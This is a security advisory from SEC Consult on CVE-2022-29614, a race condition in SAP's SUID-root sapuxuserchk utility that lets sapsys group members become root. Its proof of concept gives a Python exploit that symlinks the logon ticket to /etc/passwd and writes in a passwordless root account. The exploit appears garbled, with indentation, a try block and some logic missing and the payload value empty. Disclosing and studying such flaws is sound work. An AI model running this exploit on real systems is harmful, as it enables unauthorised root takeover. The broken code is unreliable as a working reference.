SEC Consult Vulnerability Lab Security Advisory < 20220915-0 >  
title: Local privilege escalation  
product: SAP® SAPControl Web Service Interface (sapuxuserchk)  
vulnerable version: see section "Vulnerable / tested versions"  
fixed version: see SAP security note 3158619  
CVE number: CVE-2022-29614  
impact: medium  
found: 2022-02-24  
by: M. Li (Office Munich)  
SEC Consult Vulnerability Lab  
An integrated part of SEC Consult, an Atos company  
Europe | Asia | North America  
Vendor description:  
"The SAP Start Service (sapstartsrv) provides basic management services for  
systems and instances and single server processes. Services include starting  
and stopping, monitoring the current run-time state, reading logs, traces and  
configuration files, executing commands and retrieving other  
technology-specific information, like network access points, active sessions,  
thread list etc. They are exposed by a SOAP Web service interface named  
"SAPControl". This paper describes how to use this Web service interface."  
Business recommendation:  
SEC Consult recommends to implement the security note 3158619, where the  
documented issue is fixed according to the vendor. We advise installing the  
corrections as a matter of priority to keep business-critical data secured.  
Vulnerability overview/description:  
1) Local privilege escalation (CVE-2022-29614)  
The SUID-root program sapuxuserchk erroneously follows the symbolic link to  
create a temporary local logon ticket and change the ownership of the target  
file for owner access only. As member of the group sapsys, a user can therefore  
escalate his/her privileges to root on a local Unix system by successfully  
exploiting a race condition.  
Proof of concept:  
1) Local privilege escalation (CVE-2022-29614)  
The utility sapuxuserchk is used by sapcontrol to request a temporary local  
logon ticket in the following way. As a result, the ticket is created in the  
folder /usr/sap/SEC/D00/work/sapcontrol_logon/  
$ sapcontrol -nr 0 -function RequestLogonFile user0  
$ ls -l logon*  
-rw------- 1 secadm sapsys 40 Feb 25 08:58 logon0  
-rw------- 1 user0 users 40 Feb 25 09:00 logon1  
-rw------- 1 root root 40 Feb 25 09:01 logon2  
Since sapcontrol is supposed to create the ticket for any system user, it  
requires a utility with SUID bit set. The owner, group and its permission bits  
of sapuxuserchk of a standard installation are shown below.  
$ ls -l sapuxuserchk  
-rwsr-x--- 1 root sapsys 1312137 Feb 28 2019 sapuxuserchk  
The request originating from sapcontrol is first sent to the instance server  
sapstartsrv, piping into sapuxuserchk a 512-byte encrypted message, which  
contains the ticket path, user name and ticket in the plaintext, as an example  
shown below.  
$ strings input-0-plaintext  
SAPLOGONFILE /usr/sap/SEC/D00/work/sapcontrol_logon/logon1  
On its duty to create the ticket, sapuxuserchk performs the sanity check to  
guarantee the non-existence of the file prior to the creation in the  
function internal_create_saplogon_file.  
However, it introduces a race condition between the stat and open calls, as  
shown by the following excerpt from strace.  
stat("/usr/sap/SEC/D00/work/sapcontrol_logon/logon1", 0x7ffc0d2e1530) = -1 ENOENT (No such file or directory)  
open("/usr/sap/SEC/D00/work/sapcontrol_logon/logon1", O_RDWR|O_CREAT|O_TRUNC, 0600) = 3  
fchown(3, 1000, 100)  
The attacker can run a race of constantly creating a symbolic link logon1  
pointing to a privileged file such as /etc/passwd and meanwhile invoke the  
SUID-root program sapuxuserchk, in the hope that the creation of the link  
take place between the stat and open calls, so that the first will fail,  
(meaning that the file does not exist yet) while the second as well as the  
ensuing fchown call succeeds. In a positive result, the attacker gains the  
read-write permission of the target file.  
The following run to winning the race took 629 attempts to finally gain the  
root privilege. The PoC further below lists the exploit implementing the idea  
above with a pre-intercepted message for user secadm.  
sh-4.3$ id  
uid=1001(secadm) gid=474(sapsys) groups=474(sapsys),1000(sapinst)  
sh-4.3$ ls -l /etc/passwd  
-rw-r--r-- 1 root root 2517 Feb 25 00:47 /etc/passwd  
sh-4.3$ python3  
this many tries: 629  
[+] now login as sapmatt  
sh-4.3$ su sapmatt  
sh-4.3# id  
uid=0(sapmatt) gid=0(root) groups=0(root)  
sh-4.3# ls -l /etc/passwd  
-rw-r--r-- 1 secadm sapsys 73 Feb 25 10:03 /etc/passwd  
$ cat  
import sys, os, signal, base64, random, string  
secadm_msg =   
# openssl passwd sappass  
u1_passwd = "sapmatt:wPi023oIkjHdA:0:0::/root:/bin/sh\nsecadm:x:1001:474::/tmp:/bin/sh\n"  
logon_symlink = "/usr/sap/SEC/D00/work/sapcontrol_logon/logon1"  
target_file = "/etc/passwd"  
g = 1024  
if not os.path.isfile(logon_symlink):  
os.system("touch " + logon_symlink)  
secadm_msg = base64.b64decode(secadm_msg)  
msg_file = '/tmp/msg' + ''.join(random.choice(string.ascii_letters) for i in range(8))  
f0 = open(msg_file, "wb")  
pid = os.fork()  
if pid == 0:  
j = 0  
while True:  
if j > g:  
j += 1  
os.system("/usr/sap/SEC/D00/exe/sapuxuserchk < {0} > /dev/null".format(msg_file))  
i = 0  
uid = os.getuid()  
success = False  
while not success:  
if i > g:  
print("[-] give up, link too many tries: " + str(i))  
i += 1  
os.symlink(target_file, logon_symlink)  
statinfo = os.stat(target_file)  
if statinfo.st_uid == uid:  
os.kill(pid, signal.SIGILL)  
print("this many tries: " + str(i))  
print("[+] now login as sapmatt ")  
f = open(target_file, "w")  
success = True  
except Exception as err:  
print('[-] lost the race {0}'.format(err))  
os.waitpid(pid, 0)  
Vulnerable / tested versions:  
The following version of the binary was found to be vulnerable during our tests:  
* Version: 753, patch 400, changelist 1906766  
According to the vendor the following products are affected by the discovered  
SAP NetWeaver AS ABAP, AS Java, ABAP Platform and HANA Database, Versions:  
* KERNEL 7.22, 7.49, 7.53, 7.77, 7.81, 7.85, 7.86, 7.87, 7.88  
* KRNL64NUC 7.22, 7.22EXT, 7.49  
* KRNL64UC 7.22, 7.22EXT, 7.49, 7.53  
Please refer to the vendor patch day post:  
Vendor contact timeline:  
2022-02-25: Contacting vendor through vulnerability submission web form.  
2022-03-04: Vendor confirms receipt and assigns SAP security incident number  
2022-04-29: Requesting status update.  
2022-05-05: Vendor confirms vulnerability and states it might be addressed  
in May 2022 patch day.  
2022-06-14: Vendor releases patches with SAP security note 3158619.  
2022-06-15: Requesting the confirmation of the security note on the issue.  
2022-08-11: Vendor sends the link to the Acknowledgements to Security  
2022-09-02: Requesting the confirmation of the fix.  
2022-09-03: Vendor confirms the issue has been fixed on June Patch Day.  
2022-09-15: Public release of security advisory.  
The following security note needs to be implemented:  
You can remove the SUID-bit from sapuxuserchk as temporary mitigation.  
# chmod 0755 sapuxuserchk  
Advisory URL:  
SEC Consult Vulnerability Lab  
SEC Consult, an Atos company  
Europe | Asia | North America  
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EOF M. Li / @2022